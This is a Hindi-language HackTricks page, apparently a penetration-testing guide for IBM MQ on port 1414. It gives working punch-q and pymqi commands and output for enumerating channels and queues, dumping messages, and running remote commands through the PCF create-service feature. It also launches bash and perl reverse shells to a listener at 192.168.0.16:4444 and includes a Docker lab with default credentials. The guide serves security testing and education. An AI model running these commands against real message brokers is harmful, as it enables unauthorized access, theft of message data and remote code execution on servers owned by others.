27 KiB
1414 - IBM MQ का पेंटेस्टिंग
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- क्या आप किसी साइबर सुरक्षा कंपनी में काम करते हैं? क्या आप अपनी कंपनी को HackTricks में विज्ञापित देखना चाहते हैं? या क्या आपको PEASS की नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग करने की आवश्यकता है? सदस्यता योजनाएं की जांच करें!
- The PEASS Family की खोज करें, हमारा एकल NFT संग्रह।
- आधिकारिक PEASS और HackTricks swag प्राप्त करें
- 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या मुझे Twitter 🐦@carlospolopm** का पालन करें**.
- अपने हैकिंग ट्रिक्स को hacktricks रेपो और hacktricks-cloud रेपो में पीआर जमा करके अपना योगदान दें.
मूलभूत जानकारी
IBM MQ एक IBM प्रौद्योगिकी है जो संदेश कतारों का प्रबंधन करने के लिए है। अन्य संदेश ब्रोकर प्रौद्योगिकियों की तरह, यह उत्पादकों और उपभोक्ताओं के बीच सूचना प्राप्त, संग्रहीत, प्रसंस्कृत और वर्गीकरण करने के लिए समर्पित है।
डिफ़ॉल्ट रूप से, यह IBM MQ TCP पोर्ट 1414 को उजागर करता है। कभी-कभी, HTTP REST API पोर्ट 9443 पर उजागर हो सकता है। मीट्रिक्स (Prometheus) भी TCP पोर्ट 9157 से पहुंची जा सकती है।
IBM MQ TCP पोर्ट 1414 का उपयोग संदेश, कतार, चैनल, ... को नियंत्रित करने के लिए ही नहीं किया जा सकता है, बल्कि इंस्टेंस को नियंत्रित करने के लिए भी किया जा सकता है।
IBM द्वारा https://www.ibm.com/docs/en/ibm-mq पर एक बड़ी तकनीकी प्रलेखन उपलब्ध है।
उपकरण
सुझाए गए उपकरण के लिए आसान शोध के लिए punch-q का उपयोग करें, डॉकर का उपयोग करें। यह उपकरण सक्रिय रूप से Python पुस्तकालय pymqi
का उपयोग करता है।
एक अधिक मैन्युअल दृष्टिकोण के लिए, Python पुस्तकालय pymqi का उपयोग करें। IBM MQ आवश्यकताएं की आवश्यकता होती है।
pymqi का स्थापना करना
IBM MQ आवश्यकताएं को स्थापित और लोड किया जाना चाहिए:
- https://login.ibm.com/ पर एक खाता (IBMid) बनाएं।
- https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc से IBM MQ पुस्तकालय डाउनलोड करें। लिनक्स x86_64 के लिए यह 9.0.0.4-IBM-MQC-LinuxX64.tar.gz है।
- डीकंप्रेस करें (
tar xvzf 9.0.0.4-IBM-MQC-LinuxX64.tar.gz
)। - लाइसेंस की शर्तों को स्वीकार करने के लिए
sudo ./mqlicense.sh
चलाएं।
यदि आप Kali Linux के तहत हैं, तो
mqlicense.sh
फ़ाइल में बदलाव करें: निम्नलिखित पंक्तियों को हटाएं/टिप्पणी करें (105-110 लाइनों के बीच):if [ ${BUILD_PLATFORM} != `uname`_`uname ${UNAME_FLAG}` ] then echo "ERROR: This package is incompatible with this system" echo " This package was built for ${BUILD_PLATFORM}" exit 1 fi
- इन पैकेजों को स्थापित करें:
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesRuntime-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesClient-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesSDK-9.0.0-4.x86_64.rpm
- फिर, LD में
.so
फ़ाइलों को अस्थायी रूप से जोड़ें:export LD_LIBRARY_PATH=/opt/mqm/lib64
, पहले इन आवश्यकताओं का उपयोग करने वाले अन्य उपकरणों को चलाने से पहले।
फिर, आप प्रोजेक्ट pymqi क्लोन कर सकते हैं: इसमें दिलचस्प कोड स्निपेट, स्थिरांक, ... होते हैं। या आप सीधे पुस्तकालय को इंस्टॉल कर सकते हैं: pip install pymqi
.
punch-q का उपयोग करें
डॉकर के साथ
बस इस्तेमाल करें: sudo docker run --rm -ti leonjza/punch-q
.
डॉकर के बिना
प्रोजेक्ट punch-q क्लोन करें और इंस्टॉलेशन के लिए readme का पालन करें (pip install -r requirements.txt && python3 setup.py install
).
इसके बाद, punch-q
कमांड के साथ इस्तेमाल किया जा सकता है।
गणना
आप punch-q या pymqi के साथ कतार प्रबंधक का नाम, उपयोगकर्ता, चैनल और कतारें गणना करने की कोशिश कर सकते हैं।
कतार प्रबंधक
कभी-कभी, कतार प्रबंधक के नाम को प्राप्त करने के खिलाफ कोई सुरक्षा नहीं होती है:
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 discover name
Queue Manager name: MYQUEUEMGR
चैनल
punch-q एक आंतरिक (संशोधन योग्य) वर्डलिस्ट का उपयोग करके मौजूदा चैनल्स को खोजने के लिए उपयोग होता है। उपयोग का उदाहरण:
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd discover channels
"DEV.ADMIN.SVRCONN" exists and was authorised.
"SYSTEM.AUTO.SVRCONN" might exist, but user was not authorised.
"SYSTEM.DEF.SVRCONN" might exist, but user was not authorised.
ऐसा होता है कि कुछ IBM MQ इंस्टेंस अनुपयोगी MQ अनुरोधों को स्वीकार करते हैं, इसलिए --username / --password
की आवश्यकता नहीं होती है। बेशक, पहुंच अधिकार भी भिन्न हो सकते हैं।
जैसे ही हमें एक चैनल नाम मिलता है (यहां: DEV.ADMIN.SVRCONN
), हम सभी अन्य चैनलों की गणना कर सकते हैं।
गणना मूल रूप से इस कोड स्निपेट code/examples/dis_channels.py
के साथ pymqi से की जा सकती है:
import logging
import pymqi
logging.basicConfig(level=logging.INFO)
queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'
prefix = '*'
args = {pymqi.CMQCFC.MQCACH_CHANNEL_NAME: prefix}
qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)
try:
response = pcf.MQCMD_INQUIRE_CHANNEL(args)
except pymqi.MQMIError as e:
if e.comp == pymqi.CMQC.MQCC_FAILED and e.reason == pymqi.CMQC.MQRC_UNKNOWN_OBJECT_NAME:
logging.info('No channels matched prefix `%s`' % prefix)
else:
raise
else:
for channel_info in response:
channel_name = channel_info[pymqi.CMQCFC.MQCACH_CHANNEL_NAME]
logging.info('Found channel `%s`' % channel_name)
qmgr.disconnect()
... लेकिन punch-q भी उस हिस्से को सम्मिलित करता है (अधिक जानकारी के साथ!). इसे इस तरीके से लॉन्च किया जा सकता है:
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show channels -p '*'
Showing channels with prefix: "*"...
| Name | Type | MCA UID | Conn Name | Xmit Queue | Description | SSL Cipher |
|----------------------|-------------------|---------|-----------|------------|-----------------|------------|
| DEV.ADMIN.SVRCONN | Server-connection | | | | | |
| DEV.APP.SVRCONN | Server-connection | app | | | | |
| SYSTEM.AUTO.RECEIVER | Receiver | | | | Auto-defined by | |
| SYSTEM.AUTO.SVRCONN | Server-connection | | | | Auto-defined by | |
| SYSTEM.DEF.AMQP | AMQP | | | | | |
| SYSTEM.DEF.CLUSRCVR | Cluster-receiver | | | | | |
| SYSTEM.DEF.CLUSSDR | Cluster-sender | | | | | |
| SYSTEM.DEF.RECEIVER | Receiver | | | | | |
| SYSTEM.DEF.REQUESTER | Requester | | | | | |
| SYSTEM.DEF.SENDER | Sender | | | | | |
| SYSTEM.DEF.SERVER | Server | | | | | |
| SYSTEM.DEF.SVRCONN | Server-connection | | | | | |
| SYSTEM.DEF.CLNTCONN | Client-connection | | | | | |
कतारें
pymqi (dis_queues.py
) के साथ एक कोड स्निपेट है, लेकिन punch-q को कतारों के बारे में अधिक जानकारी प्राप्त करने की अनुमति है:
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show queues -p '*'
Showing queues with prefix: "*"...
| Created | Name | Type | Usage | Depth | Rmt. QM | Rmt. Qu | Description |
| | | | | | GR Name | eue Nam | |
| | | | | | | e | |
|-----------|----------------------|--------|---------|--------|---------|---------|-----------------------------------|
| 2023-10-1 | DEV.DEAD.LETTER.QUEU | Local | Normal | 0 | | | |
| 0 18.35.1 | E | | | | | | |
| 9 | | | | | | | |
| 2023-10-1 | DEV.QUEUE.1 | Local | Normal | 0 | | | |
| 0 18.35.1 | | | | | | | |
| 9 | | | | | | | |
| 2023-10-1 | DEV.QUEUE.2 | Local | Normal | 0 | | | |
| 0 18.35.1 | | | | | | | |
| 9 | | | | | | | |
| 2023-10-1 | DEV.QUEUE.3 | Local | Normal | 0 | | | |
| 0 18.35.1 | | | | | | | |
| 9 | | | | | | | |
# Truncated
अक्षम करें
संदेश डंप करें
आप विशेषता(ओं) को लक्षित कर संदेशों को खोजने / डंप करने के लिए उपयोग कर सकते हैं (अविनाशी आपरेशन). उदाहरण:
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages sniff
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages dump
सभी पहचानी गई कतारों पर दोहराने में हिचकिचाहट न करें।
कोड निष्पादन
जारी रखने से पहले कुछ विवरण: IBM MQ को कई तरीकों से नियंत्रित किया जा सकता है: MQSC, PCF, नियंत्रण कमांड। कुछ सामान्य सूचियाँ IBM MQ दस्तावेज़ीकरण में मिल सकती हैं। PCF (प्रोग्रामयोग्य कमांड प्रारूप) उस पर ध्यान केंद्रित है जिसके माध्यम से हम इंस्टेंस के साथ दूरस्थता से इंटरैक्ट करते हैं। punch-q और इसके अतिरिक्त pymqi PCF इंटरैक्शन पर आधारित हैं।
आप PCF कमांडों की सूची पा सकते हैं:
एक दिलचस्प कमांड
MQCMD_CREATE_SERVICE
है और इसकी दस्तावेज़ीकरण यहां उपलब्ध है। इसे एकStartCommand
के रूप में एर्ग्यूमेंट लेता है जो इंस्टेंस पर स्थानीय कार्यक्रम की ओर पहुंच करता है (उदाहरण:/bin/sh
)।दस्तावेज़ों में इस कमांड की एक चेतावनी भी है: "ध्यान दें: यह कमांड एक उपयोगकर्ता को mqm अधिकार के साथ एक अनियमित कमांड चलाने की अनुमति देता है। इस कमांड का उपयोग करने के लिए अधिकार प्रदान किए जाने पर, एक दुष्ट या लापरवाह उपयोगकर्ता आपके सिस्टम या डेटा को क्षति पहुंचा सकता है, उदाहरण के लिए, महत्वपूर्ण फ़ाइलें हटा कर।"
नोट: हमेशा IBM MQ दस्तावेज़ीकरण (प्रशासन संदर्भ) के अनुसार, सेवा निर्माण (
DEFINE SERVICE
) के लिए समकक्ष MQSC कमांड चलाने के लिए/admin/action/qmgr/{qmgrName}/mqsc
पर एक HTTP एंडपॉइंट भी है। यह पहले यहां शामिल नहीं है।
दूरस्थ कार्यक्रम निष्पादन के लिए PCF के साथ सेवा निर्माण / हटाना punch-q द्वारा किया जा सकता है:
उदाहरण 1
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/sh" --args "-c id"
IBM MQ के लॉग में, आप पढ़ सकते हैं कि कमांड सफलतापूर्वक चलाया गया है:
2023-10-10T19:13:01.713Z AMQ5030I: कमांड '808544aa7fc94c48' शुरू हो गया है। ProcessId(618). [ArithInsert1(618), CommentInsert1(808544aa7fc94c48)]
आप मशीन पर मौजूदा प्रोग्रामों की गणना भी कर सकते हैं (यहां /bin/doesnotexist
... मौजूद नहीं है):
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/doesnotexist" --arg
s "whatever"
Command: /bin/doesnotexist
Arguments: -c id
Service Name: 6e3ef5af652b4436
Creating service...
Starting service...
The program '/bin/doesnotexist' is not available on the remote system.
Giving the service 0 second(s) to live...
Cleaning up service...
Done
ध्यान दें कि कार्यक्रम लॉन्च असिंक्रोन होता है। इसलिए आपको एक दूसरे आइटम की आवश्यकता होती है ताकि आप एक्सप्लॉइट का लाभ उठा सकें (रिवर्स शेल के लिए सुनने वाला, विभिन्न सेवा पर फ़ाइल निर्माण, नेटवर्क के माध्यम से डेटा निकालना...)
उदाहरण 2
आसान रिवर्स शेल के लिए, punch-q दो रिवर्स शेल पेलोड भी प्रस्तावित करता है:
- एक बैश के साथ
- एक पर्ल के साथ
बेशक आप execute
कमांड के साथ एक कस्टम पेलोड बना सकते हैं।
बैश के लिए:
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444
इसके लिए perl:
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444
कस्टम PCF
आप IBM MQ दस्तावेज़ीकरण में खोज कर सीधे pymqi पायथन पुस्तकालय का उपयोग कर सकते हैं विशेष PCF कमांड का परीक्षण करने के लिए जो punch-q में अमल में नहीं आया है।
उदाहरण:
import pymqi
queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'
qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)
try:
# Replace here with your custom PCF args and command
# The constants can be found in pymqi/code/pymqi/CMQCFC.py
args = {pymqi.CMQCFC.xxxxx: "value"}
response = pcf.MQCMD_CUSTOM_COMMAND(args)
except pymqi.MQMIError as e:
print("Error")
else:
# Process response
qmgr.disconnect()
यदि आप स्थिर नामों को नहीं ढूंढ पा रहे हैं, तो आप IBM MQ दस्तावेज़ीकरण का संदर्भ ले सकते हैं।
उदाहरण के लिए
MQCMD_REFRESH_CLUSTER
(दशमलव = 73)। इसेMQCA_CLUSTER_NAME
(दशमलव = 2029) पैरामीटर की आवश्यकता होती है जो*
हो सकता है (दस्तावेज़ीकरण: ):import pymqi queue_manager = 'MYQUEUEMGR' channel = 'DEV.ADMIN.SVRCONN' host = '172.17.0.2' port = '1414' conn_info = '%s(%s)' % (host, port) user = 'admin' password = 'passw0rd' qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password) pcf = pymqi.PCFExecute(qmgr) try: args = {2029: "*"} response = pcf.MQCMD_REFRESH_CLUSTER(args) except pymqi.MQMIError as e: print("त्रुटि") else: print(response) qmgr.disconnect()
परीक्षण पर्यावरण
यदि आप IBM MQ का व्यवहार और उत्पीड़न का परीक्षण करना चाहते हैं, तो आप डॉकर पर आधारित स्थानीय पर्यावरण सेटअप कर सकते हैं:
- ibm.com और cloud.ibm.com पर खाता होना।
- निम्नलिखित के साथ एक कंटेनरीकृत IBM MQ बनाएँ:
sudo docker pull icr.io/ibm-messaging/mq:9.3.2.0-r2
sudo docker run -e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR -p1414:1414 -p9157:9157 -p9443:9443 --name testing-ibmmq icr.io/ibm-messaging/mq:9.3.2.0-r2
डिफ़ॉल्ट रूप से, प्रमाणीकरण सक्षम होता है, उपयोगकर्ता नाम admin
है और पासवर्ड passw0rd
है (पर्यावरण चर MQ_ADMIN_PASSWORD
).
यहां, क्यू मैनेजर नाम MYQUEUEMGR
(चर MQ_QMGR_NAME
) पर सेट किया गया है।
आपको IBM MQ को चालू और इसके पोर्ट उजागर करने की आवश्यकता होगी:
❯ sudo docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
58ead165e2fd icr.io/ibm-messaging/mq:9.3.2.0-r2 "runmqdevserver" 3 seconds ago Up 3 seconds 0.0.0.0:1414->1414/tcp, 0.0.0.0:9157->9157/tcp, 0.0.0.0:9443->9443/tcp testing-ibmmq
IBM MQ डॉकर इमेज की पुरानी संस्करण यहाँ मिलेंगे: https://hub.docker.com/r/ibmcom/mq/.